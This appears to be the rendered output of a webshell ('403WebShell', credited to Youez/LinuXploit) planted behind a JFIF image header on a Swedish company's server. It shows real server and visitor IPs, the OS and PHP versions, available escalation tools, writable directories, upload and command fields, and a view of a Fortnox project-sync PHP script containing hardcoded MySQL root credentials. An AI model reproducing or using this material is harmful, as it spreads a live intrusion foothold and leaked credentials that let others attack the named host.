????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 13.59.90.172
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/fortnox/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/fortnox/create_project.php
<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

require 'fetch_token.php'; // Hämta Access Token dynamiskt
$accessToken = $tokens['access_token'];
// Endpoint för att skapa projekt
$url = "https://api.fortnox.se/3/projects";
// Array för att lagra alla projektnummer
$existingProjects = [];
$page = 1;

do {
    // Bygg URL för aktuell sida
    $pagedUrl = $url . "?page=$page";

    // Initiera cURL
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $pagedUrl);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        "Authorization: Bearer $accessToken",
        "Accept: application/json",
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // Skicka förfrågan och hämta svar
    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo "cURL Error: " . curl_error($ch) . "\n";
        break;
    }

    $projects = json_decode($response, true);

    if (isset($projects['Projects'])) {
        // Lägg till projektnummer till arrayen
        foreach ($projects['Projects'] as $project) {
            $existingProjects[] = $project['ProjectNumber'];
        }

        // Kontrollera om det finns fler sidor
        $totalPages = isset($projects['MetaInformation']['@TotalPages']) ? $projects['MetaInformation']['@TotalPages'] : 1;

        $page++;
    } else {
        // Avsluta om inga fler projekt hittas
        break;
    }

    curl_close($ch);

} while ($page <= $totalPages);

// Visa array med projektnummer
echo "Befintliga projektnummer:\n";
print_r($existingProjects);

$link = mysql_connect ("localhost", "root", "root123");
mysql_select_db ("vpa");

$sql = "SELECT Project.ProjectId, Project.CompanyId, Project.Name as Name,Description,createDate, SystemUser.Name as SRName, ProjectStatusId,clientProjectManagerName  FROM Project, ProjectManager, SystemUser Where SystemUser.SystemUserId = ProjectManager.UserId and Project.ProjectId = ProjectManager.ProjectId and Description != 'iCAD-Project' and Description != 'EP-Project' and createDate > '".date("Y-m-d")."' order by Project.ProjectId desc";


$projects = array();
$result = mysql_query($sql);
while ($row = mysql_fetch_assoc($result)){ 
    $ProjectId =  $row['ProjectId'];
    $CompanyId =  $row['CompanyId'];
    $ProjectName =  $row['Name'];
    $Description =  $row['Description'];
    $CreateDate =  substr($row['createDate'],0,10);
    $Username =  $row['SRName'];
    $ProjectStatusId =  $row['ProjectStatusId'];
    $clientProjectManagerName =  $row['clientProjectManagerName'];
    
    if($ProjectStatusId == 11 ){
        $Status = "CANCELLED";
    }else if($ProjectStatusId == 10){
        $Status = "COMPLETED";
    }else if($ProjectStatusId == 1){
        $Status = "ONGOING";
    }else {
        $Status = "ONGOING";
    }
    
    $Name = $CompanyId."_".substr($ProjectName,0,15)." (".$ProjectId.")";
    
    if(strlen($Name) > 20){
         $Name = $CompanyId."_".substr($ProjectName,0,10)."... (".$ProjectId.")";
    }else{
         $Name = $CompanyId."_".substr($ProjectName,0,100)." (".$ProjectId.")";
    }
    
    $data = [
        "Comments" =>  $CompanyId."_".substr($ProjectName,0,100)." (".$ProjectId.")",
        "ContactPerson" => $clientProjectManagerName,
        "Description" => $Name,
        "ProjectLeader" => $Username,
        "ProjectNumber" => $ProjectId,
        "StartDate" => $CreateDate,
        "Status" => $Status

    ];
    
 array_walk_recursive($data, function (&$item) {
    if (is_string($item)) {
        $encoding = mb_detect_encoding($item, ['UTF-8', 'ISO-8859-1', 'ASCII'], true);
        if ($encoding !== 'UTF-8') {
            $item = mb_convert_encoding($item, 'UTF-8', $encoding);
        }
    }
});

    if (!in_array($ProjectId, $existingProjects, true)) {
        $projects[] = $data;
    }
}



// Din giltiga Access Token
$accessToken = $tokens['access_token'];

// Endpoint för att skapa projekt
$url = "https://api.fortnox.se/3/projects";


// Iterera över projektlistan och skapa varje projekt
foreach ($projects as $project) {
    // Skapa data för projektet i rätt format
    $data = [
        "Project" => $project
    ];

    // Konvertera data till JSON
    $jsonData = json_encode($data);

    // Kontrollera JSON-kodning
    if ($jsonData === false) {
        echo "Fel vid JSON-kodning: " . json_last_error_msg() . "\n";
        continue;
    }

    // Initiera cURL
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, $jsonData);
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        "Authorization: Bearer $accessToken",
        "Content-Type: application/json; charset=utf-8",
        "Accept: application/json",
    ]);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // Skicka förfrågan och hämta svar
    $response = curl_exec($ch);

    if (curl_errno($ch)) {
        echo "cURL Error: " . curl_error($ch) . "\n";
    } else {
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        echo "Mapped Status: $Status\n";
        
        echo "Svar från Fortnox:\n$response\n";
    }

    curl_close($ch);
   
    usleep(250000);
   
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit